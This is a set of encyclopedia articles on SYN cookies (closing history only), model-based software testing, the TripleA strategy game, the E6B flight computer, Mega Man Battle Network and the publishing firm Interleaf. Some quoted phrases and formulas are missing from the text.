The technique was created by Daniel J. Bernstein and Eric Schenk in September 1996. The first implementation (for SunOS) was released by Jeff Weisberg a month later, and Eric Schenk released his Linux implementation in February 1997. FreeBSD implements syncookies since FreeBSD 4.5 (January 2002).
See also
SYN flood
IP Spoofing
TCP Cookie Transactions
References
External links
D. J. Bernstein's own explanation of SYN cookies
Appendix A
Computer network security
Transmission Control Protocol
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https://en.wikipedia.org/wiki/Model-based%20testing
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Model-based testing
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Model-based testing is an application of model-based design for designing and optionally also executing artifacts to perform software testing or system testing. Models can be used to represent the desired behavior of a system under test (SUT), or to represent testing strategies and a test environment. The picture on the right depicts the former approach.
A model describing a SUT is usually an abstract, partial presentation of the SUT's desired behavior.
Test cases derived from such a model are functional tests on the same level of abstraction as the model.
These test cases are collectively known as an abstract test suite.
An abstract test suite cannot be directly executed against an SUT because the suite is on the wrong level of abstraction.
An executable test suite needs to be derived from a corresponding abstract test suite.
The executable test suite can communicate directly with the system under test.
This is achieved by mapping the abstract test cases to
concrete test cases suitable for execution. In some model-based testing environments, models contain enough information to generate executable test suites directly.
In others, elements in the abstract test suite must be mapped to specific statements or method calls in the software to create a concrete test suite. This is called solving the "mapping problem".
In the case of online testing (see below), abstract test suites exist only conceptually but not as explicit artifacts.
Tests can be derived from models in different ways. Because testing is usually experimental and based on heuristics,
there is no known single best approach for test derivation.
It is common to consolidate all test derivation related parameters into a
package that is often known as "test requirements", "test purpose" or even "use case(s)".
This package can contain information about those parts of a model that should be focused on, or the conditions for finishing testing (test stopping criteria).
Because test suites are derived from models and not from source code, model-based testing is usually seen as one form of black-box testing.
Model-based testing for complex software systems is still an evolving field.
Models
Especially in Model Driven Engineering or in Object Management Group's (OMG's) model-driven architecture, models are built before or parallel with the corresponding systems. Models can also be constructed from completed systems. Typical modeling languages for test generation include UML, SysML, mainstream programming languages, finite machine notations, and mathematical formalisms such as Z, B (Event-B), Alloy or Coq.
Deploying model-based testing
There are various known ways to deploy model-based testing, which include online testing, offline generation of executable tests, and offline generation of manually deployable tests.
Online testing means that a model-based testing tool connects directly to an SUT and tests it dynamically.
Offline generation of executable tests means that a model-based testing tool generates test cases as computer-readable assets that can be later run automatically; for example, a collection of Python classes that embodies the generated testing logic.
Offline generation of manually deployable tests means that a model-based testing tool generates test cases as human-readable assets that can later assist in manual testing; for instance, a PDF document in a human language describing the generated test steps.
Deriving tests algorithmically
The effectiveness of model-based testing is primarily due to the potential for automation it offers. If a model is machine-readable and formal to the extent that it has a well-defined behavioral interpretation, test cases can in principle be derived mechanically.
From finite state machines
Often the model is translated to or interpreted as a finite state automaton or a state transition system. This automaton represents the possible configurations of the system under test. To find test cases, the automaton is searched for executable paths. A possible execution path can serve as a test case. This method works if the model is deterministic or can be transformed into a deterministic one. Valuable off-nominal test cases may be obtained by leveraging unspecified transitions in these models.
Depending on the complexity of the system under test and the corresponding model the number of paths can be very large, because of the huge amount of possible configurations of the system. To find test cases that can cover an appropriate, but finite, number of paths, test criteria are needed to guide the selection. This technique was first proposed by Offutt and Abdurazik in the paper that started model-based testing. Multiple techniques for test case generation have been developed and are surveyed by Rushby. Test criteria are described in terms of general graphs in the testing textbook.
Theorem proving
Theorem proving was originally used for automated proving of logical formulas. For model-based testing approaches, the system is modeled by a set of predicates, specifying the system's behavior. To derive test cases, the model is partitioned into equivalence classes over the valid interpretation of the set of the predicates describing the system under test. Each class describes a certain system behavior, and, therefore, can serve as a test case. The simplest partitioning is with the disjunctive normal form approach wherein the logical expressions describing the system's behavior are transformed into the disjunctive normal form.
Constraint logic programming and symbolic execution
Constraint programming can be used to select test cases satisfying specific constraints by solving a set of constraints over a set of variables. The system is described by the means of constraints. Solving the set of constraints can be done by Boolean solvers (e.g. SAT-solvers based on the Boolean satisfiability problem) or by numerical analysis, like the Gaussian elimination. A solution found by solving the set of constraints formulas can serve as a test cases for the corresponding system.
Constraint programming can be combined with symbolic execution. In this approach a system model is executed symbolically, i.e. collecting data constraints over different control paths, and then using the constraint programming method for solving the constraints and producing test cases.
Model checking
Model checkers can also be used for test case generation. Originally model checking was developed as a technique to check if a property of a specification is valid in a model. When used for testing, a model of the system under test, and a property to test is provided to the model checker. Within the procedure of proofing, if this property is valid in the model, the model checker detects witnesses and counterexamples. A witness is a path where the property is satisfied, whereas a counterexample is a path in the execution of the model where the property is violated. These paths can again be used as test cases.
Test case generation by using a Markov chain test model
Markov chains are an efficient way to handle Model-based Testing. Test models realized with Markov chains can be understood as a usage model: it is referred to as Usage/Statistical Model Based Testing. Usage models, so Markov chains, are mainly constructed of 2 artifacts : the Finite State Machine (FSM) which represents all possible usage scenario of the tested system and the Operational Profiles (OP) which qualify the FSM to represent how the system is or will be used statistically. The first (FSM) helps to know what can be or has been tested and the second (OP) helps to derive operational test cases.
Usage/Statistical Model-based Testing starts from the facts that is not possible to exhaustively test a system and that failure can appear with a very low rate. This approach offers a pragmatic way to statically derive test cases which are focused on improving the reliability of the system under test. Usage/Statistical Model Based Testing was recently extended to be applicable to embedded software systems.
See also
Domain-specific language (DSL)
Domain-specific modeling (DSM)
Model-driven architecture (MDA)
Model-driven engineering (MDE)
Object-oriented analysis and design (OOAD)
Time Partition Testing (TPT)
References
Further reading
OMG UML 2 Testing Profile;
Practical Model-Based Testing: A Tools Approach, Mark Utting and Bruno Legeard, , Morgan-Kaufmann 2007.
Model-Based Software Testing and Analysis with C#, Jonathan Jacky, Margus Veanes, Colin Campbell, and Wolfram Schulte, , Cambridge University Press 2008.
Model-Based Testing of Reactive Systems Advanced Lecture Series, LNCS 3472, Springer-Verlag, 2005. .
A Systematic Review of Model Based Testing Tool Support, Muhammad Shafique, Yvan Labiche, Carleton University, Technical Report, May 2010.
2011/2012 Model-based Testing User Survey: Results and Analysis. Robert V. Binder. System Verification Associates, February 2012
Software testing
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https://en.wikipedia.org/wiki/TripleA
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TripleA
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TripleA is a free and open-source turn based strategy game based on the Axis & Allies board game.
Gameplay
features multiplayer and several AIs for single-player mode. For live multiplayer games, the community maintains two lobbies for the most current Stable and Unstable versions. There is also a Play by Email multiplayer mode.
A wide variety of map scenarios have been developed for (e.g. World War II, Punic Wars and Napoleonic wars) with a variety of rules, units and many options, such as "low luck" which reduces the number of dice rolled making game depend more on strategy.
History
is developed in Java and can run on personal computers with Java SE installed. Some designers also worked on FreeCol, and . Originally set up on SourceForge repository in 2002, development was in 2016 migrated to GitHub. In February 2018 the game's GPLv2 license was re-licensed to the GPLv3.
Reception
has been compared to Axis & Allies and also Risk.
A Chip.de review called a and ranked it 30 of 238 in their strategy game ranking list. Chip.de named also among the in 2011. A cnet.com/download.com staff review rated it 4.5 of 5 and noted that . A Games4Mac review of the macOS version rated the game 70 of 100 in 2006. giga.de rated TripleA 3 of 5. Other reviewers of TripleA include Macworld, Ghacks, and O'Reilly Media, Inc. A review in German computer print magazine LinuxUser 2007 / 12 praised the Linux version of TripleA as and . Linux Format magazine in December 2011 reviewed the game and called it and .
was also used and mentioned in computer science relating scientific publications due to its open source nature and project size and maturity.
The Polish game magazine CD-Action included on a cover disk in 2012. As is fully free and DFSG conforming in software and content, it is included in many Linux distributions, for instance Ubuntu OS, Gentoo, or Debian.
became a popular freeware title which was offered by multiple download outlets, including digital distributor Desura. Alone from SourceForge.net the client was downloaded between 2002 and 2016 over 1.2 million times. The game's maps are provided via a separate GitHub repository and are downloaded from there after a client (from whatever source) is installed and started, indicating the existence of over 7 million installations between 2010 and May 2017 (prior to the GitHub migration) from SourceForge alone.
See also
Axis & Allies (1998 video game)
List of open source games
References
External links
Open-source video games
Strategy video games
World War II grand strategy computer games
Freeware games
Linux games
Java platform games
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https://en.wikipedia.org/wiki/E6B
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E6B
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The E6B flight computer is a form of circular slide rule used in aviation and one of the very few analog calculating devices in widespread use in the 21st century.
They are mostly used in flight training, because these flight computers have been replaced with electronic planning tools or software and websites that make these calculations for the pilots. These flight computers are used during flight planning (on the ground before takeoff) to aid in calculating fuel burn, wind correction, time en route, and other items. In the air, the flight computer can be used to calculate ground speed, estimated fuel burn and updated estimated time of arrival. The back is designed for wind vector solutions, i.e., determining how much the wind is affecting one's speed and course. They are frequently referred to by the nickname "whiz wheel."
Construction
Flight computers are usually made out of aluminum, plastic or cardboard, or combinations of these materials. One side is used for wind triangle calculations using a rotating scale and a sliding panel. The other side is a circular version of a slide rule. Extra marks and windows facilitate calculations specifically needed in aviation.
Electronic versions are also produced, resembling calculators, rather than manual slide rules. Aviation remains one of the few places that the slide rule is still in widespread use. Manual E6Bs/CRP-1s remain popular with some users and in some environments rather than the electronic ones because they are lighter, smaller, less prone to break, easy to use one-handed, quicker and do not require electrical power.
In flight training for a private pilot or instrument rating, mechanical flight computers are still often used to teach the fundamental computations. This is in part also due to the complex nature of some trigonometric calculations which would be comparably difficult to perform on a conventional scientific calculator. The graphic nature of the flight computer also helps in catching many errors which in part explains their continued popularity. The ease of use of electronic calculators means typical flight training literature does not cover the use of calculators or computers at all. In the ground exams for numerous pilot ratings, programmable calculators or calculators containing flight planning software are permitted to be used.
Many airspeed indicator (ASI) instruments have a movable ring built into the face of the instrument that is essentially a subset of the flight computer. Just like on the flight computer, the ring is aligned with the air temperature and the pressure altitude, allowing the true airspeed (TAS) to be read at the needle.
In addition, computer programs emulating the flight computer functions are also available, both for computers and smartphones.
Calculations
Instructions for ratio calculations and wind problems are printed on either side of the computer for reference and are also found in a booklet sold with the computer. Also, many computers have Fahrenheit to Celsius conversion charts and various reference tables.
The front side of the flight computer is a logarithmic slide rule that performs multiplication and division. Throughout the wheel, unit names are marked (such as gallons, miles, kilometers, pounds, minutes, seconds, etc.) at locations that correspond to the constants that are used when going from one unit to another in various calculations. Once the wheel is positioned to represent a certain fixed ratio (for example, pounds of fuel per hour), the rest of the wheel can be consulted to utilize that same ratio in a problem (for example, how many pounds of fuel for a 2.5-hour cruise?) This is one area where the E6B and CRP-1 are different. Since the CRP-1s are made for the UK market, they can be used to perform the added conversions of Imperial to Metric units.
The wheel on the back of the calculator is used for calculating the effects of wind on cruise flight. A typical calculation done by this wheel answers the question: "If I want to fly on course A at a speed of B, but I encounter wind coming from direction C at a speed of D, then how many degrees must I adjust my heading, and what will my ground speed be?" This part of the calculator consists of a rotatable semi-transparent wheel with a hole in the middle, and a slide on which a grid is printed, that moves up and down underneath the wheel. The grid is visible through the transparent part of the wheel.
To solve this problem with a flight computer, first the wheel is turned so the wind direction (C) is at the top of the wheel. Then a pencil mark is made just above the hole, at a distance representing the wind speed (D) away from the hole. After the mark is made, the wheel is turned so that the course (A) is now selected at the top of the wheel. The ruler then is slid so that the pencil mark is aligned with the true airspeed (B) seen through the transparent part of the wheel. The wind correction angle is determined by matching how far right or left the pencil mark is from the hole, to the wind correction angle portion of the slide's grid. The true ground speed is determined by matching the center hole to the speed portion of the grid.
The mathematical formulas that equate to the results of the flight computer wind calculator are as follows:
(desired course is d, ground speed is Vg, heading is a, true airspeed is Va, wind direction is w, wind speed is Vw. d, a and w are angles. Vg, Va and Vw are consistent units of speed. is approximated as 355/113 or 22/7)
Wind Correction Angle:
True ground speed:
Wind Correction Angle, in degrees, as it might be programmed into a computer (which includes conversion of degrees to radians and back):
True ground speed is calculated as:
Modern-day E6Bs
Although digital E6Bs are faster to learn initially, many flight schools still require their students to learn on mechanical E6Bs, and for FAA pilot written exams and checkrides pilots are encouraged to bring their mechanical E6Bs with them for necessary calculations.
History
The device's original name is E-6B, but is often abbreviated as E6B, or hyphenated as E6-B for commercial purposes.
The E-6B was developed in the United States by Naval Lt. Philip Dalton (1903–1941) in the late 1930s. The name comes from its original part number for the U.S Army Air Corps, before its reorganization in June 1941.
Philip Dalton was a Cornell University graduate who joined the United States Army as an artillery officer, but soon resigned and became a Naval Reserve pilot from 1931 until he died in a plane crash with a student practicing spins. He, with P. V. H. Weems, invented, patented and marketed a series of flight computers.
Dalton's first popular computer was his 1933 Model B, the circular slide rule with true airspeed (TAS) and altitude corrections pilots know so well. In 1936 he put a double-drift diagram on its reverse to create what the U.S. Army Air Corps (USAAC) designated as the E-1, E-1A and E-1B.
A couple of years later he invented the Mark VII, again using his Model B slide rule as a focal point. It was hugely popular with both the military and the airlines. Even Amelia Earhart's navigator Fred Noonan used one on their last flight. Dalton felt that it was a rushed design, and wanted to create something more accurate, easier to use, and able to handle higher flight speeds.
So he came up with his now famous wind arc slide, but printed on an endless cloth belt moved inside a square box by a knob. He applied for a patent in 1936 (granted in 1937 as 2,097,116). This was for the Model C, D and G computers widely used in World War II by the British Commonwealth (as the "Dalton Dead Reckoning Computer"), the U.S. Navy, copied by the Japanese, and improved on by the Germans, through Siegfried Knemeyer's invention of the disc-type Dreieckrechner device, somewhat similar to the eventual E6B's backside compass rose dial in general appearance, but having the compass rose on the front instead for real-time calculations of the wind triangle at any time while in flight. These are commonly available on collectible auction web sites.
The U.S. Army Air Corps decided the endless belt computer cost too much to manufacture, so later in 1937 Dalton morphed it to a simple, rigid, flat wind slide, with his old Model B circular slide rule included on the reverse. He called this prototype his Model H; the Army called it the E-6A.
In 1938 the Army wrote formal specifications, and had him make a few changes, which Weems called the Model J. The changes included moving the "10" mark to the top instead of the original "60". This "E-6B" was introduced to the Army in 1940, but it took Pearl Harbor for the Army Air Forces (as the former "Army Air Corps" was renamed on June 20, 1941) to place a large order. Over 400,000 E-6Bs were manufactured during World War II, mostly of a plastic that glows under black light (cockpits were illuminated this way at night).
The base name "E-6" was fairly arbitrary, as there were no standards for stock numbering at the time. For example, other USAAC computers of that time were the C-2, D-2, D-4, E-1 and G-1, and flight pants became E-1s as well. Most likely they chose "E" because Dalton's previously combined time and wind computer had been the E-1. The "B" simply meant it was the production model.
The designation "E-6B" was officially marked on the device only for a couple of years. By 1943 the Army and Navy changed the marking to their joint standard, the AN-C-74 (Army/Navy Computer 74). A year or so later it was changed to AN-5835, and then to AN-5834 (1948). The USAF called later updates the MB-4 (1953) and the CPU-26 (1958), but navigators and most instruction manuals continued using the original E-6B name. Many just called it the "Dalton Dead Reckoning Computer", one of its original markings.
After Dalton's death, Weems updated the E-6B and tried calling it the E-6C, E-10, and so forth, but finally fell back on the original name, which was so well known by 50,000 World War II Army Air Force navigator veterans. After the patent ran out, many manufacturers made copies, sometimes using a marketing name of "E6-B" (note the moved hyphen).
An aluminium version was made by the London Name Plate Mfg. Co. Ltd. of London and Brighton and was marked "Computer Dead Reckoning Mk. 4A Ref. No. 6B/2645" followed by the arrowhead of UK military stores.
During World War II and into the early 1950s, The London Name Plate Mfg. Co. Ltd. produced a "Height & True Airspeed Computer Mk. IV" with the model reference "6B/345". The tool provided for calculation of the True Air Speed on the front side and Time-Speed calculations in relation to the altitude on the backside. They were still in use throughout the 1960s and 1970s in several European Air Forces, such as the German Air Force, until modern avionics made them obsolete.
See also
Siegfried Knemeyer, inventor of the similar, contemporary Dreieckrechner flight calculator
Wind triangle
References
External links
E6BX.com Online E6B – web-based E6B flight computer with illustrations
A Tale of Two Whiz Wheels: E6-B versus CR Wind Solutions
Free downloadable E6B – requires Java
Free web based E6B aviation calculator
Flight computers
Analog computers
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https://en.wikipedia.org/wiki/Mega%20Man%20Battle%20Network%20%28video%20game%29
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Mega Man Battle Network (video game)
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Mega Man Battle Network is a video game developed by Capcom for the Game Boy Advance (GBA) handheld console. It is the first title of the Mega Man Battle Network series of games. It was originally released in Japan as a GBA launch game on March 21, 2001 and was released later that year in North America and Europe. It was also released via the Wii U Virtual Console in Japan on July 9, 2014, in Europe on July 24, 2014, and in North America on July 31, 2014.
Battle Network takes place during the 21st century in a world where society and everyday life is driven by the internet. Users are able to interact with and virtually explore nearly any electronic device using highly advanced, online avatars called "NetNavis". The game follows a young boy named Lan Hikari and his NetNavi MegaMan.EXE as they solve a series of crimes instigated by the "WWW (World Three)" organization. Rather than share the platform gameplay of its predecessors, Battle Network is a tactical role-playing game (RPG) in which the player respectively controls Lan in the game's outside world and MegaMan.EXE in its virtual world. Battles take place in real-time; special abilities called "Battle Chips" can be accessed to fight off the numerous computer viruses present in the game's cyberspace environments.
Battle Network was created amidst the rise of collectible card games, as shown by its collectible Battle Chips that are used to create "Folders" (like card decks). According to producer Keiji Inafune, the development team wanted Battle Network to identify specifically with younger gamers by creating a setting resembling the real world and a gameplay model that mixes traditional action and RPG elements. Battle Network received positive reviews from critics. Its unconventional combat system was given significant praise and its presentation was well-regarded. However, its storyline was met with mixed opinions. The game was followed by a number of sequels and spin-off titles, as well as other media.
Plot
Mega Man Battle Network is set in an ambiguous year in the 21st century ("20XX AD") in an alternate reality to the original Mega Man series. Within the world of Battle Network, the Net has become humanity's primary means of communication, commerce, and even crime. Users are able to "jack in" to the Net and other computerized devices, and explore their various aspects using program avatars called "NetNavis (Network Navigators)" as if they were physical locations. The Net and the inner workings of computers are displayed as a virtual world with which computer programs of all varieties, as personified in a humanoid form, can interact. Users often do so by accessing their NetNavis via a "PET (PErsonal information Terminal)" device. The plot of Mega Man Battle Network follows one such pair, Lan Hikari and his NetNavi MegaMan.EXE. Lan is a fifth grader in the town of ACDC. His father, Dr. Yuichiro Hikari, is one of the world's top scientists and NetNavi researchers. Not long into the story, Lan and MegaMan.EXE take it upon themselves to solve various criminal cases around ACDC involving other Navis and their operators. Some of the confrontations with the various criminals involve desperate, life-threatening situations including a bus rigged to explode, oxygen being cut off at a large party, the entire city's clean water freezing, and school students being re-educated as mindless slaves. The duo continuously crosses paths with Eugene Chaud, an official "NetBattler" commissioned by the government to investigate crimes on the Net. Chaud and his NetNavi ProtoMan.EXE act as rivals to Lan and MegaMan.EXE.
The protagonists eventually learn that the criminals are all connected to an organization called the "WWW (World Three)". The WWW intentionally infects computer networks with computer viruses so as to hinder their normal operations and hack vital information. The group is led by Dr. Wily, a former colleague of Lan's grandfather. While working together, Wily had specialized in robotics while Lan's grandfather specialized in networks, which eventually led to NetNavis. The government cut Wily's funding, opting instead to pursue Hikari's NetNavi project. Wily's goal throughout the game is to collect four super programs with which the "LifeVirus" may be constructed. The LifeVirus is a nearly indestructible virus capable of wiping out the Net and all associated devices. The protagonists infiltrate the WWW, but MegaMan.EXE becomes disabled. Chaud arrives and gives Lan a batch file from Dr. Hikari to restore his Navi. After receiving the file "Hub.bat", Lan questions his father about the name. It is revealed the MegaMan.EXE is actually a unique Navi made by Lan's father. When Lan's twin brother, Hub, died at a young age, Dr. Hikari transferred Hub's consciousness into the NetNavi MegaMan.EXE. This created a special physical and virtual bond between the two brothers. In the end, Lan and MegaMan.EXE manage to defeat Wily, destroy the LifeVirus, and restore peace to ACDC.
Gameplay
Unlike the previous action-platformer entries of the Mega Man franchise, Mega Man Battle Network is a real-time tactical RPG. To progress through the game the player must alternately navigate the outside world as Lan Hikari and the Net as MegaMan.EXE, each containing certain tasks that must be completed to allow advancement in the other. Controlling Lan, the player may travel around the world map, interact with non-player characters, check email, purchase items, initiate Net missions, or speak with MegaMan.EXE through his PET. In contrast with traditional Mega Man entries in which battle and movement through the levels happen in the same setting, Battle Networks combat occurs only through by battling computer viruses within the Net. This cyber world is represented by a series of branching pathways and nodes, where MegaMan.EXE can travel to both new and previously visited locations, find and purchase items, and fight viruses. Battles do not generally appear on the field screen of the Net but are usually set as random encounters. The battlefield itself is made up of 18 tiles divided into two groups of nine, one group being space in which MegaMan.EXE may freely move and the other group being space inhabited by enemies. Akin to other Mega Man games, MegaMan.EXE possesses an arm cannon called the "Mega Buster". The player can transition among the nine provided tiles and fire the Mega Buster at enemies from across the screen. The objective of each battle is to delete all the viruses by reducing their hit points (HP) to zero. If MegaMan.EXE's own health depletes, a game over occurs. Certain power-up programs can be found that upgrade MegaMan.EXE's HP, defense, or Mega Buster power.
The Mega Buster is quite weak on its own, so in order to delete viruses more efficiently, the player must access special abilities called "Battle Chips". These are minor programs that contain data that the Navi can utilize to perform more powerful attacks, summon other Navis for help, or execute supportive actions such as restoring HP or destroying tiles on the enemies' side of the battlefield. Battle Chips are uploaded to MegaMan.EXE by Lan's PET in a process called "Customization." Each turn in battle presents the player with five random chips from which to choose, though the player is limited to chips of the same variety or chips with the same alphabetic code. Once the "Battle Gauge" (or "Custom Gauge") at the top of the screen fills during battle, another random set of chips can be chosen from a general pool called the "folder". At any given time, the player may only have exactly 30 chips in the folder from which the Customization process may draw. The player is only allowed to carry up to ten of the same kind of chip and up to five Navi-summon chips in the folder. However, a player may possess any number of other chips in inactive reserve, called the "sack", which may be moved to the active folder outside of battle. Every chip and enemy is aligned to one of five elements: Neutral, Fire, Water, Electric, and Wood. If MegaMan.EXE hits an enemy with an attack aligned to an element they are weak against, the attack will do double damage.
Battle Network features a very limited multiplayer option. Up to two players may connect with each other using a Game Link Cable and then give or trade Battle Chips. Players may also engage in battles with one another. The "test battle" mode has no stakes whereas the "real battle" mode allows the winning player to take a battle chip from the loser.
Development and release
Initially conceptualized with the intention of being a horror game, Mega Man Battle Network was developed by Capcom Production Studio 2 amidst the success of Nintendo's portable RPG franchise Pokémon. Rather than extend upon the traditional action-platform formula for the Mega Man series as they had done with the 3D Mega Man Legends, Capcom followed Nintendo's example on the latter's then-newest handheld console, the GBA. While creating Battle Network, director Masahiro Yasuma found difficulty in blending action attributes with "the kind of fun you get from a Pokémon game" in order to make it enjoyable, new, and fresh. Yasuma recalled that production was further challenged because no effective precursor of its type had been made before. Producer Keiji Inafune stated that the development team wanted to add a "real world" feel to the Mega Man series by placing the protagonist of Battle Network in a location where the internet is prevalent. With the release of the portable GBA, the team felt that they should target modern gamers, specifically children, as an audience for the new series. The developers thought such a theme would be both successful and relevant because these younger gamers grew up with and utilized such technology on a daily basis. To ensure the game's popularity, Capcom marketed Battle Network alongside an afternoon anime adaptation, emphasized head-to-head matches between players, and provided fans with exclusive content via special events.
Inafune credited himself for redesigning the protagonist Mega Man as MegaMan.EXE for the Battle Network series, though he recounted the character designers were reluctant to hand over the responsibility to him and even altered his illustrations afterwards. The character's initial concept art went through a large number of changes before it was finalized to a much simpler design, so that even very young fans could easily draw it. Yuji Ishihara acted as a primary character artist for the game. Each of the game's boss characters was designed so that their bodies would exude a certain motif; for example, StoneMan.EXE was meant to look like a huge castle made from stone masonry. Some bosses resembled their original Mega Man series counterparts while others were a large departure from these more humanoid appearances. Ishihara explained that the artists chose size and shape variety among the characters to "provide a little bit of surprise and excitement" to fans familiar with their classic forms. The musical score for Battle Network was composed by Akari Kaida, who would later work on the fifth installment of the series. All 22 musical tracks for Mega Man Battle Network were included on the Rockman EXE 1 ~ 3 Game Music Collection, released in Japan by Suleputer on December 18, 2002.
The Japanese version of Battle Network was first announced in August 2000 as one of four games set to be released for the recently unveiled GBA. A demo of the game was promoted at Nintendo Space World that month, where it was displayed on only two out of the 140 playable consoles. The game was displayed on five kiosks at the Tokyo Game Show the following month. According to series planners Masakazu Eguchi and Masahiro Yasuma, this beta build of the game involved the player fighting a malevolent WoodMan.EXE within the school's electronic blackboard. Battle Network was officially released in Japan as a GBA launch title on March 21, 2001. A television advertisement of the game featured the song "Neo Venus" by Japanese rock band Janne Da Arc. The English localization of Battle Network was announced on May 17, 2001, just prior to the Electronic Entertainment Expo. The game was released in North America and Europe on October 31 and November 30 respectively. Ubisoft published Mega Man Battle Network in PAL regions as part of a seven-GBA game licensing agreement with Capcom. Its first sequel, Mega Man Battle Network 2, was announced before the Japan World Hobby Fair in June 2001. Attendees to the fair were able to download chip data for the character Bass.EXE into their original Battle Network cartridges.
Reception and legacy
Mega Man Battle Network has been generally well-received, holding aggregates score of 80% on GameRankings and 79 out of 100 on Metacritic. The graphics of Battle Network were overall favored by reviewers. IGN's Craig Harris, GameSpy contributor James Fudge, and Kristian Brogger of Game Informer were all impressed by the game's crisp, colorful style and futuristic locales. As far as the sound was concerned, Justin Speer of GameSpot opined that the music appropriately matched the rich visuals. Brogger otherwise accepted the sound as "enough [...] to get by", but that nothing would be missed if it were turned off. Harris comparably stated that "the standard Japanese tunage could have been given a bit more variety". The reviewers gave mixed opinions of the game's storyline. Though Brogger called it "engrossing", Harris recognized the plot as the game's one major fault, describing it as "kiddy" and disliking the consistent use of computer terminology for character names. Speer similarly summarized, "If there's something that might hold you back from enjoying the game, it's the lighthearted and somewhat goofy story. However, the game doesn't take itself too seriously, so neither should you."
The battle system of Battle Network was a positive stand-out aspect for many critics. In his Battle Network series decade retrospective, 1UP.com's Jeremy Parish felt the first game suffered from terrible plotting, unbalanced play design, and unattractive and annoying environment navigation. Still, Parish perceived the game's combat mechanics to be its sole reason for success, marrying the original Mega Man action qualities with an RPG structure and requiring "a combination of sharp thinking and quick reflexes" on the player's part. Speer found battle within the game to rightfully capture the spirit of Mega Man as its "most original and compelling feature". Harris likewise regarded the battle interface to be well-designed, a refreshing change from traditional Japanese RPGs, what gives the game its charm, and a very appreciative addition to the game's limited multiplayer mode. Fudge summarized the combat as "very easy to learn, but difficult to master -- and yet very satisfying". He admitted that the random encounters can occasionally be overwhelming. Brogger considered the gameplay both deep and simple to pick up on, but thought the menu system to be "clunky" at times and its battles to be repetitive.
Mega Man Battle Network entered Japanese sales charts at number 12, selling approximately 43,048 units during its first week. A total of 224,837 units were sold in Japan during 2001, with the game being listed by Dengeki Online as the 50th best-selling video game in the region for that year. The success of Mega Man Battle Network led to several sequels and spin-offs on other consoles, mobile phones, and arcade; an anime series; and numerous pieces of merchandise. A successor series called Mega Man Star Force began in 2006 after the Capcom decided to stop developing new Battle Network titles. Rockman EXE Operate Shooting Star, a remake of the first Battle Network game for the Nintendo DS, was released in 2009 and integrated elements from the Star Force series.
Notes
References
External links
Official Rockman EXE website
Role-playing video games
Game Boy Advance games
Capcom games
Ubisoft games
1
Video games with isometric graphics
Virtual Console games
Virtual Console games for Wii U
Multiplayer and single-player video games
Tactical role-playing video games
2001 video games
Video games developed in Japan
Video games scored by Akari Kaida
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https://en.wikipedia.org/wiki/Interleaf
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Interleaf
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Founded in 1981, Interleaf was a company that created computer software products for the technical publishing creation and distribution process. Its initial product was the first commercial document processor that integrated text and graphics editing, producing WYSIWYG ("what you see is what you get") output at near-typeset quality. It also had early products in the document management, electronic publishing, and Web publishing spaces. Interleaf's "Active Documents" functionality, integrated into its text and graphics editing products in the early 1990s, was the first to give document creators programmatic access (via LISP) to virtually all of the document's elements, structures, and software capabilities.
Broadvision acquired Interleaf in January 2000. The latest version of the publishing software (i.e. TPS) is called QuickSilver.
Interleaf's headquarters was in Cambridge, Massachusetts, and later moved to Waltham, Massachusetts.
History
Interleaf was founded by David Boucher and Harry George in 1981. Boucher served as chief executive officer from 1981 until 1992; George served as chief financial officer. Earlier, both were among the founders of Kurzweil Computer Products. Other early personnel came from NBI and Wang Labs. The company initially produced "turnkey" systems, that is, combinations of hardware and software integrated by the company. It initially ran on workstations from Sun Microsystems and Apollo Computers, but later ported its software to workstations made by Digital Equipment Corporation, HP, IBM and SGI, and later still, to the Apple Macintosh II and the IBM Personal Computer.
Interleaf released its first product in 1985. Inspired by the Xerox Star and Apple Lisa, TPS (Technical Publishing Software) uniquely enabled authors to write their text and create technical graphics on a computer screen that showed what the page would look like when formatted and printed on a laser printer. This capability was so unusual in 1985 that the company's name referred to the "interleaving" of text and graphics. TPS was also noted for its ability to handle the sorts of long documents corporate technical publishing departments routinely created.
Interleaf had its initial public offering (IPO) in June 1986, raising $24.6 million.
In 1990, Interleaf moved from Cambridge, to Waltham.
The company was bought by Broadvision in 2000, which renamed its authoring products "Quicksilver". The availability of Quicksilver 3.0 was announced in March 2007. The availability of QuickSilver 3.5 was announced in May 2010. QuickSilver 3.7 was released in July 2014.
Products
TPS
TPS (later renamed to "Interleaf 5," up through "Interleaf 7") was an integrated, networked text-and-graphics document creation system initially designed for technical publishing departments. Versions after its first release in 1984 added instantaneous updating of page numbering and reference numbers through multi-chapter and multi-volumes sets, increased graphics capabilities, automatic index and table of content generation, hyphenation, equations, "microdocuments" that recursively allowed fully functional whole document elements to be embedded in any document, and the ability to program any element of a document (a capability the company called "Active Documents"). Interleaf software was available in many languages including Japanese text layout.
TPS was a structured document editor. That is, it internally treated a document as a set of element classes, each with its own set of properties. Classes might include common document elements such as a body, paragraphs, titles, subheadings, captions, etc. Authors were free to create any set of elements and save them as a reusable template. The properties of a class — its font size, for example — could be changed and automatically applied to every instance of that class. If this caused a change in pagination — increasing the font size could change where the page breaks were — the software would update the screen quickly enough for the author to continue typing, including altering all of the cross-references that the author may have inserted; this WYSIWYG capability was a competitive advantage for the company. The structured nature of the documents also enabled TPS to provide conditional document assembly, a feature that enabled users to "tag" document elements with metadata about them, and then automatically assemble versions of the document based upon those tags. For example, an aircraft manufacturer might tag paragraphs with the model number of the planes to which they applied and then assemble versions of the documentation specific to each model.
The fact that it created structured documents enabled Interleaf to add its Active Document capabilities in the early 1990s. Just as JavaScript enables contemporary software developers to add functionality and "intelligence" to Web documents, Interleaf used LISP to enable document authors and engineers to enhance its authoring electronic publishing systems. Any document element could be given new "methods" (capabilities), and could respond to changes in the content or structure of the document itself. Typical applications included documents that automatically generated and updated charts based upon data expressed in the document, pages that altered themselves based on data accessed from databases or other sources, and systems that dynamically created pages to guide users through complex processes such as filling out insurance forms.
Interleaf Relational Document Manager (RDM)
RDM was an early document management product, acquired in the late 1980s and then integrated with Interleaf's other products. RDM used a relational database management system to manage the elements of complex document sets, including their versions. Team of authors and editors would "check in" their documents when done with a work session, and begin a new session by "checking them out." In so doing, RDM would ensure that the authors were working on the most current version of the document, even if another author had worked on it in the interim.
Interleaf WorldView
Interleaf Worldview's core functionality is familiar to users of Adobe Acrobat Reader and other Portable Document Format (PDF) viewers, although Worldview preceded it by a year Worldview allowed document sets created with Interleaf's technical publishing tools to be viewed on workstations, Macintoshes, and PCs, retaining page fidelity, and including hyperlinks among the pages
Interleaf WorldView Press
